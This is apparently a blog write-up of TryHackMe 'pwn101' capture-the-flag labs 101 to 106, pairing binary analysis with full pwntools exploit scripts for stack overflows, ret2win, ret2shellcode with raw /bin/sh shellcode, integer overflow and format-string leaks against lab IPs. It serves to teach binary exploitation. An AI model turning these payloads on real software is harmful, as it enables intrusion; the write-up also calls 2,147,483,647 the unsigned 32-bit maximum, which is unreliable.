# Binary Exploitation and Reverse Engineering

### **Pwn101**

This is about binary exploitation and reverse engineering on a tryhackme machine pwn101. There are 10 labs for 10 different kinds of binary vulnerabilities.

* Buffer overflow
    
* Modify the variable's value
    
* Return to win
    
* Return to shellcode
    
* Integer Overflow
    
* Format string exploit
    
* Bypassing mitigations
    
* GOT overwrite
    
* Return to PLT
    
* Playing with ROP
    

### **pwn101**

So let's start with pwn 101 it has a downloadable file pwn101.pwn101, And it is about buffer overflow. First `checksec` a binary to see what mitigations is provided with it,

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752727575259/58a6a477-88ad-4342-a288-39f30e1c4b05.jpeg align="left")

You can see there is no any stack canary available to protect from buffer overflow, so run the binary and provide a large no of inputs other than it expected. If you don't know what stack canary is [click here](https://www.sans.org/blog/stack-canaries-gingerly-sidestepping-the-cage/).

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752727597066/7fd7e30b-56db-4e90-a75b-b4484d11334a.jpeg align="left")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752727617703/df052873-6c94-4273-91f7-c220461248b9.jpeg align="left")

OK we successfully overflowed the binary function gets which is vulnerable to buffer overflow and jump to `/bin/sh`. So to get flag we have to test on remote server.The exploit written in python with help of pwntools.

You can check others exploits on my github repo [here](https://github.com/0xpr4bin/pwn101).

```python
#!/usr/bin/env python3

from pwn import *

binary=context.binary=ELF("./pwn101.pwn101")
context.log_level="critical"
payload=b"A"* 0x40 + b"A"*0x4 + b"B"*0x8
p=remote("10.10.86.157",9001)
#p=process()
p.sendline(payload)
p.recv()
p.interactive()
```

Run the python script `./exploit101.py` and we got the flag on the remote server.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752727674078/f6b86173-2556-4d3d-9c1a-e7e8ff6bef28.jpeg align="left")

### **pwn102**

Ok as usual lets start with the checksec using command.

`checksec -file=pwn102.pwn102`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752727718080/22de0603-c573-482b-b204-562b7caf0003.jpeg align="left")

Also there is no stack canary present, and it is vulnerable to buffer overflow Lets debug this binary on radare2,

`r2 -d -A pwn102.pwn102`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752727732797/2c8c75eb-6aa2-4cfd-9d40-a0a721d585fb.jpeg align="left")

The `scanf` function is taking values in `@rbp-0x70` without any size validation so we can overflow the buffer but we need to modify two variables `@rbp-0x4` and `@rbp-0x8` with`0xc0d3`and `0xc0ff33` respectively because these are set on the stack above buff4r.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752727748813/01598db9-5f2f-4eb4-9824-d8429f31c696.jpeg align="left")

After that we can get to call `/bin/sh` and spawn a shell.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752727797236/7fbab47c-5c27-4858-a411-b42568957620.jpeg align="left")

Lets write a script to execute on remote server on port 9002.

```python
#!/usr/bin/env python3

from pwn import *

context.binary=binary=ELF("./pwn102.pwn102")
context.log_level="critical"
payload = b"A"*104
payload+= p32(0xc0d3)
payload+= p32(0xc0ff33)
#p=process()
p=remote("10.10.103.79",9002)
p.sendline(payload)
p.interactive()
```

Finally we got the flag

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752727833253/c69042db-fc2b-48af-ac65-3577ce86d03b.jpeg align="left")

### **pwn103**

Ok This is about `re2win`, it is basically overwriting the instruction pointer to return to the desired function. lets start with `checksec`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752727853546/3b66e123-09d9-431d-8129-104c3537f2aa.jpeg align="left")

There is no stack canary and PIE is disabled, meaning we can overflow the buffer and the address of the function won't change between execution `(PIE disabled)`.

lets run the binary first and see.

`./pwn103.pwn103`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752727870867/1c7e8d93-026d-4206-8f63-3f0b65491a92.jpeg align="left")

It's asking for options and case 3 is vulnerable to buffer overflow, we can send as many bytes we want because it is using `scanf()` function that is not checking buffer size limitations as you can see below.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752727884285/4a0287d3-4917-415b-8af2-43b05129b42d.jpeg align="left")

So as mentioned earlier `PIE` is disabled so address won't change on execution.We can get win() function and this time it is admins\_only() which will spawn a /bin/sh shell. So we will get admins\_only address `(sym.admins_only)` and overwrite the `RIP` to return the `general()` function to `admins_only()`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752727898051/967bb1f7-0a6e-4701-bf66-6aca145a0222.jpeg align="left")

Lets write a script to get the flag on remote server on port 9003.

```python
#!/usr/bin/env python3

from pwn import *

context.binary=binary=ELF("./pwn103.pwn103")
context.log_level="critical"

#p=process()
p=remote("10.10.114.45",9003)

#get the win() function address
admins_only=p64(binary.symbols.admins_only)

#To overcome stack alignement we have to put ret gadgets
ret_address=p64(0x00401377)

#We overwrite the buffer as well as 0x20 bytes until reach rbp and overwrite rip with win() adress
payload=b"A"*0x20 + b"B"*0x8 + ret_address + admins_only
#To choose vulnerable option

p.sendline(b"3")
p.sendline(payload)
p.interactive()
```

In the above exploit we are first sending `b"3"` bytes to choose option general, then sending bytes of `0x20` to overwrite the buffer until we reach to the RBP and `0x8` bytes to overwrite RBP itself and `ret_address` for stack alignement as well as admins\_only adress to overwrite the RIP to call win() function `(admins_only)`.

Run the script and get the flag.

`Ppython exploit103.py`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752727912746/14c02e18-4ac2-4d1a-af8c-35cc2cbe3481.jpeg align="left")

### **pwn104**

This lab has file pwn104.pwnn104 which we have to download. Its about `ret2shellcode`, basically executing `shellcode` or remote code execution(RCE)

At first run the binary file and see what we got.

`./pwn104.pwn104`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752727932624/192ad1b1-26b3-4e4c-a096-e791afc81558.jpeg align="left")

Here we can see its leaking address `0x7ffc7ae5a10`, which we really don't know what it is? And this address is changing everytime you run the binary because of [Address space layout randomization(ASLR)](https://www.techtarget.com/searchsecurity/definition/address-space-layout-randomization-ASLR#:~:).So lets check the file.

`checksec -file=pwn104.pwn104`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752727943195/54fd445f-7244-405a-91c4-f67abafee94c.jpeg align="left")

Actually it has not any mitigations actually other than partial relro.

There is no `stack canary`, `NX disabled`, `No PIE`, so we can overflow the buffer, and also can execute `shellcode` as well as adresses won't change between execution.

So lets open with cutter and analyze the binary.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752727954656/81d928b5-587c-40c7-ad31-f3e2e1b86996.jpeg align="left")

There is `read` function that reads our input as bytes ranging from 0–200 `bytes(0xc8)` at the end and stores in `buf` at memory `rbp-0x50` and we can overflow this buffer pretty easily.

Then it returns to the address and exits the program. Unlike previous lab here is not any `win()` function to return to after overflowing buffer, but we can execute [shellcode](https://www.techtarget.com/searchsecurity/answer/What-is-the-relationship-between-shellcode-and-exploit-code) from stack as NX is disabled.

And now basic summary is that we first overflow the `buf` with shellocode and remaining spaces with A's and B's and also overwrite rbp itself. Then to execute code by returning to shellcode we should overwrite the `instruction pointer` with `buff_address` where we stored shellcode. Due to `ASLR` address might change on execution on system though NX is disabled,but luckily we have address of `buf` every time running the binary which is `0x7ffc7ae5a10`.

And what shellcode we should provide and well it is code that will execute `/bin/sh` on the system and you can find it [here](https://www.exploit-db.com/exploits/46907).

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752727967557/9646b85a-390e-4224-830a-dad44f7ffcdf.jpeg align="left")

We successfully got the shell but locally, now to get the flag test on the remote server. So let's write the exploit.

```python
#!/usr/bin/env python3

from pwn import *

binary=context.binary=ELF("./pwn104.pwn104")
context.log_level="critical"
shellcode=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
#p=process()
p=remote("10.10.144.168",9004)
p.recv()

output=p.recv()
buff_address=int(output.split(b"at")[1].strip().decode("utf-8"),16)
payload=shellcode + b"A"*(0x50 -len(shellcode)) + b"B"*0x8 + p64(buff_address)
p.sendline(payload)

p.interactive()
```

Here we should parse the output to get actual `buff_address` to return.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752727974639/3b1f4240-4119-4fe7-9f93-78cd40a0f1ff.jpeg align="left")

We got the flag.

### **pwn105**

This is all bout integer overflow and underflow. If you want to know more about integer overflow here is the [link](https://www.youtube.com/watch?v=Dbbh_lrbgAU&t=0s).

Now as always lets check the binary,

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752727997445/316172ea-1cc4-42eb-8d74-8d1ebb6b2cda.jpeg align="left")

It is 64 bit ELF executable with dynamically linked and not stripped.

`checksec -file=pwn105.pwn105`

It has every protections, like canary, `NX` bit enabled and `PIE` is also enabled. So every previous attacks are minimized.

lets dig into the debugger to see anything we can do to exploit this binary.But first run the binary.

`./pwn105.pwn105`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752728009564/9ef2c9ca-600b-4a27-a652-b2471723cd48.jpeg align="left")

It is asking for two unsigned integers and gives output but if we provide signed numbers it detects errors. So let's check the internal programs to evaluate the binary more deeper.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752728018835/ec9253c9-6654-40d1-8737-107134a0ef1d.jpeg align="left")

The values provided by users are stored in the `var_14h` and `var_10h` and after adding the sum is stored in `var_ch`. Then it checks both of the values are unsigned(+) or not.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752728031400/2aca8891-7bfa-417a-9085-1cc2cca3045f.jpeg align="left")

After that the sum is compared if it is `signed or unsigned`. If its signed then we jump to the next address where system function is called to `/bin/sh` and pop up a shell.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752728040586/f15ace90-eb71-4e51-b0c1-e5b84e312db6.jpeg align="left")

So we know we need to make sum signed(-) but how is this possible with both `unsigned` numbers. Here comes the vulnerability of `integer overflow and underflow`. If we add any unsigned numbers to the maximum possible unsigned numbers in 8,16,32 or 64 bits integer then integer is overflowed and becomes `signed(-)` and vice versa for underflow.

So to exploit this binary we should `overflow` the integers by adding any unsigned numbers to the maximum possible 32 bits unsigned `integer(2,147,483,647)` and which is `(2,147,483,647+1)=-2,147,483,648`.

so let's write our exploits to get the flag on the remote server and get the flag.

```python
#!/usr/bin/env python3

from pwn import *

binary=context.binary=ELF("./pwn105.pwn105")
p=remote("10.10.23.48",9005)
p.sendlineafter(b"]>>",b"2147483647")
p.sendlineafter(b"]>>",b"1")
p.recv()
p.interactive()
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752728060412/3f4b121b-b05c-44ba-96a0-2d58d77602a3.jpeg align="left")

### **pwn106**

Let's begin another challenge, it is about `fromat string` vulnerability. This is basically exploiting format specifier of `printf()` family. If you want to learn more then go [here](https://owasp.org/www-community/attacks/Format_string_attack).

First `checksec -file=pwn106user.pwn106-user` the binary and we got mitigations for each and every field.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752728071596/355d723d-65da-435d-b238-4415801efc6b.jpeg align="left")

Now Let's run the binary.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752728111222/7a073b9b-7790-455d-a43d-e77104ba50f6.jpeg align="left")

Ok, you can see we are able to leak something. But we don't know what is this stuff. If you don't know it is leaking decimal values from `registers` and `stack(0x64 architecture)`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752728130119/57fe7d4a-0a0d-4c24-b3e3-a5554cc8d29a.jpeg align="left")

if we supply more `format specifier` on the user input, vulnerable printf() function will leak every values from registers and stack. The order of leaking start from first register `(rsi,rdx,rcx,r8,r9)` and then remaining stack.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752728140982/98333e1b-aaf5-4520-8c0e-6a3865f26c9e.jpeg align="left")

So our flag starts from `"THM"` whose hex value is `"54484d"` which you can see is in 6th position and up to 'x}' `0x7d58` which is 10th. For this we have to write exploit to get flag on remote server.

```python
#!/usr/bin/env python3

from pwn import *

binary=context.binary=ELF("./pwn106user.pwn106-user")
#context.log_level="debug"
#(rdi) rsi, rdx, rcx, r8, r9, then stack is leaked.

payloads="%6$lx.%7$lx.%8$lx.%9$lx.%10$lx.%11$lx"

#p=process()
p=remote("10.10.5.50",9006)
p.recv()
p.recv()

p.sendline(payloads)
output=p.recv().strip().split(b" ")[1].split(b".")
flag=""

for word in output:
flag+=bytes.fromhex(word.decode("utf-8"))[::-1].decode("utf-8")
print("The flag is:{}",format(flag))
```

let's run the exploit and get the flag.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752728180455/210cb012-53c3-4003-8879-b837e60d9d27.jpeg align="left")
